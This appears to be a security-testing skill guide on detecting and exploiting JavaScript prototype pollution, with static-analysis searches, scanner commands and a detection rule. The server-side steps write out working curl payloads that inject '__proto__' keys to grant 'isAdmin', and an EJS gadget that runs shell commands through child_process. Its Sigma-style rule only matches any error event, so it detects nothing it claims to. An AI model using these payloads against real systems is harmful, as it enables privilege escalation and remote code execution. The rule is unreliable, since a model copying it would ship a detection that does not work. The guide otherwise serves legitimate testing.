<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: detecting-prototype-pollution
description: >-
  Detect and exploit JavaScript prototype pollution vulnerabilities in
  client-side and server-side code by identifying unsafe object merge
  operations, recursive property assignment, and gadget chains that
  escalate to XSS, RCE, or privilege escalation.
domain: cybersecurity
subdomain: application-security
tags:
  - prototype-pollution
  - javascript
  - node-js
  - xss
  - rce
  - owasp-a03
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1059.007", "T1190"]
  owasp-top10: ["A03"]
  tools: ["semgrep", "burpsuite", "nuclei", "ppmap"]
---

# Detecting Prototype Pollution

## Overview

Prototype pollution occurs when an attacker can inject properties into
JavaScript object prototypes via `__proto__`, `constructor.prototype`, or
`prototype` properties. Exploitable through unsafe deep merge, clone, or
extend functions, it can escalate to XSS via DOM gadgets, RCE in Node.js
via child_process gadgets, or authentication bypass via polluted config.

## Prerequisites

- Tools: semgrep, Burp Suite, nuclei, ppmap, Node.js
- Access to client-side JavaScript or Node.js source
- Browser developer console

## Workflow

### Step 1: Static Analysis for Vulnerable Patterns

```bash
# Semgrep rules for prototype pollution
semgrep --config=p/javascript --config=p/nodejs \
  -e 'obj[key] = value' --lang=js src/

# Search for unsafe merge/extend patterns
rg -n 'merge\(|extend\(|deepCopy\(|_.set\(|lodash\.set' src/
rg -n '__proto__|constructor\[|prototype\[' src/

# Find recursive property assignment
rg -n 'function.*merge|function.*assign|function.*extend' --type=js src/
```

### Step 2: Client-Side Testing

```bash
# Nuclei prototype pollution templates
nuclei -u https://target.com -t http/vulnerabilities/prototype-pollution/ -json

# ppmap — automated prototype pollution scanner
ppmap -u https://target.com

# Manual browser console test
# Open DevTools Console:
# location.hash = '#__proto__[polluted]=true'
# console.log({}.polluted) // if "true" -> vulnerable
```

### Step 3: Server-Side Testing

```bash
# JSON body with __proto__
curl -s -X POST https://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"isAdmin":true}}'

# constructor.prototype variant
curl -s -X POST https://target.com/api/merge \
  -H "Content-Type: application/json" \
  -d '{"constructor":{"prototype":{"isAdmin":true}}}'

# Query string pollution
curl -s 'https://target.com/api/config?__proto__[isAdmin]=true'
```

### Step 4: Gadget Chain Discovery

```bash
# Search for known gadgets in dependencies
rg -n 'child_process|execSync|spawn|fork' node_modules/ --type=js | head -20

# Check for template engine gadgets (EJS, Pug, Handlebars)
rg -n 'outputFunctionName|compileDebug|allowedProtoMethods' \
  node_modules/ --type=js | head -20

# Test EJS RCE gadget
curl -s -X POST https://target.com/api/render \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"outputFunctionName":"x;process.mainModule.require(\"child_process\").execSync(\"id\");s"}}'
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| __proto__ in request body | WAF / API gateway | JSON payloads containing prototype keys |
| constructor.prototype in params | Application logs | Query strings with prototype properties |
| Unexpected object properties | Runtime monitoring | Objects with properties not in schema |

```yaml
title: Prototype Pollution Detection
id: f2be2c32-756e-44dd-b07c-b889b0053f7d
status: experimental
description: Detects suspicious activity related to detecting prototype pollution techniques in application security context
logsource:
  category: application
  product: webserver
detection:
  selection:
    EventType: error
  condition: selection
level: medium
tags:
  - attack.t1059.007
  - attack.t1190
  - attack.initial_access
falsepositives:
  - Application security scanning tools during CI/CD pipeline execution
```

## Verification

- [ ] Static analysis identified all merge/extend/clone patterns
- [ ] Client-side pollution tested via URL fragment and query string
- [ ] Server-side pollution tested via JSON body and query params
- [ ] Gadget chains assessed for XSS, RCE, and privilege escalation
- [ ] Dependencies checked for known vulnerable merge implementations

## References

- [HackerOne Prototype Pollution Research](https://hackerone.com/reports/986386)
- [Server-Side Prototype Pollution](https://portswigger.net/research/server-side-prototype-pollution)
- [NodeJS Prototype Pollution Gadgets](https://blog.sonarsource.com/prototype-pollution-nodejs)
